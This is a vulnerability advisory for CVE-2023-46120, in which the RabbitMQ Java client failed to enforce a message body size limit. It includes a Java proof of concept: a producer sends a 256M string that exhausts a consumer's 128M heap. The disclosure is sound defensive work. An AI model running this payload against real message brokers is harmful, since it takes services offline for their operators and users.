CVE-2023-46120: RabbitMQ Java client's lack of message size limitation leads to remote DoS attack

Summary maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

PoC RbbitMQ Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory) Start RabbitMQ Producer Build a String of length 256M and send it to Consumer

package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate; import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Producer { public static void main(String[] args) { ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class); AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); String s = "A"; for(int i=0;i<28;++i){ s = s + s; System.out.println(i); } amqpTemplate.convertAndSend(s); System.out.println("Send Finish"); } }

Consumer First set the heap memory size to 128M Read the message sent by the Producer from the MQ and print the length package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate; import org.springframework.amqp.core.Message; import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Consumer { public static void main(String[] args) { ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class); AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); Object o = amqpTemplate.receiveAndConvert(); if(o != null){ String s = o.toString(); System.out.println("Received Length : " + s.length()); }else{ System.out.println("null"); } } } Results Run the Producer first, then the Consumer Consumer throws OOM Exception

Impact Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.